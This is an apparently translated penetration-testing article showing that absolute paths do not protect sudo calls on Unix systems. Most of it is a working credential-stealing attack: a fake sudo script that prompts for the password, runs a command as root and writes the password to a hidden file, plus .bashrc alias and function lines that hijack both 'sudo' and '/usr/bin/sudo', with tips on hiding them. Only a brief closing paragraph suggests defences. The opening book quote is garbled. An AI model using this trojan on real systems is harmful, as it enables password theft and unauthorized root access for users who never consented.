Is it safe to use the absolute path in * nix systems, as we used to think?

The idea of ​​editing user environment variables for elevating permissions in penetration testing is as old as the world. Numerous articles have been written on this topic, and even books have begun to contain tips on using the absolute path instead of the relative one. Here is an example of such a board from a fairly well-known Unix and Linux book . System Administrator's Guide (4th Edition) :

…          ,  /bin/su  /usr/bin/su,    su.          su,        path ,    “” . … 

But is it safe? If you also asked this question, then welcome under cat.

Let's take it in order. Suppose we hit the * nix server under a user account with limited rights. We want to get root rights, but we don’t know the passwords. Suppose we tried all the standard ways of elevating rights through configuration errors and various kernel exploits, but to no avail. It would seem that there are no options left. However, if the user is in the sudo group, then you can try to crank one trick.

The idea is that most * nix machines use sudo for temporary elevation. When using sudo, the user is required to enter his current password. Therefore, knowing the user's password with access to sudo gives us a root.

Almost all modern * nix servers use bash or zsh as the standard command shell. They have config files (for example, .bashrc for bash) that are stored in the home directory. With their help, you can change almost everything in the command shell. By default, they have 644 permissions (-rw-r - r--), therefore, the owner can edit them without any problems.

The bottom line is that the command shell has alias `s, with which you can shorten the command.

For example, the standard alias from .bashrc:

 alias ll='ls -alF' 

When you call ll, ls –alF will actually be called. Similarly, we can do with sudo:

 alias sudo='echo PWNED' 

After this, executing the sudo command along a relative path will cause what we specified in alias ʻe.

You cannot use slashes in alias, so the absolute path is indeed a safe solution in this case. Also, the absolute path will save in the case of editing the PATH environment variable.

Now consider a case in which the absolute path will not save. In the configuration, you can create functions that work similarly to alias, except that slashes can be used in their names:

 function /usr/bin/sudo() { echo PWNED } 

Now the call / usr / bin / sudo will also execute our code.

The next step is to write a script that will behave similarly to sudo (ask for a password and increase user rights), but at the same time intercept the user's password and execute arbitrary code with administrator rights.

Finally, we get the execution of our script when we try to call sudo through an absolute or relative path.

First, write the code for poisonous sudo:

 #!/bin/bash echo -n "[sudo] password for $LOGNAME: " read -s password echo command='whoami' eval "echo -e $password | sudo -S --prompt='' $command" eval "echo -e $password | sudo -S --prompt='' $*" 

He asks the user's password in the sudo style, then saves it to a variable, executes our code with elevated permissions, and then performs what the user wanted.
Now we hide it in some inconspicuous folder (for example ~ / .local) and expose to it + x execution rights (chmod + x sudo). The file name is essentially indifferent to us, so it’s better to call it also inconspicuous (for example, .config ).

Using read -s password we read the password into the $ password variable.
The variable command='whoami' contains the command that we will execute with elevated permissions.

echo -e $password | sudo -S echo -e $password | sudo -S in this case is used to pass our variable with the password $ password to sudo via stdin.

--prompt='' needed so that the real sudo does not display a message asking for a password when we access it, otherwise it will look somewhat suspicious.

Now you need to find the full path to sudo using whereis. For example, / usr / bin / sudo. Let's fix .bashrc so that the sudo and / usr / bin / sudo commands run our script. To do this, write to the .bashrc (somewhere in the center for inconspicuous) the following code, which should be edited for yourself:

 alias sudo='~/.local/.config' function /usr/bin/sudo() { eval "~/.local/.config $*" } 

Checking:

Profit Now let's try to save the user password to a file. To do this, replace the current command.

 command="echo $password > ~/.local/.1" 

We try:

Everything worked out. qwerty123 is the user password. There are still many special cases in which our script may behave incorrectly. For example, sudo su or sudo --help . Since in this article we consider only the possibility of implementing such an attack, then I shift the process of bringing it to shine on the shoulders of the reader.

Now you know that using absolute paths in * nix systems is not so safe.

And now the main question: how to protect against a possible attack? In my opinion, the best option would be to allow editing .bashrc only as root. Of course, there is a second option, but it is less convenient and secure: constantly check the integrity of configs.

Thanks for attention :)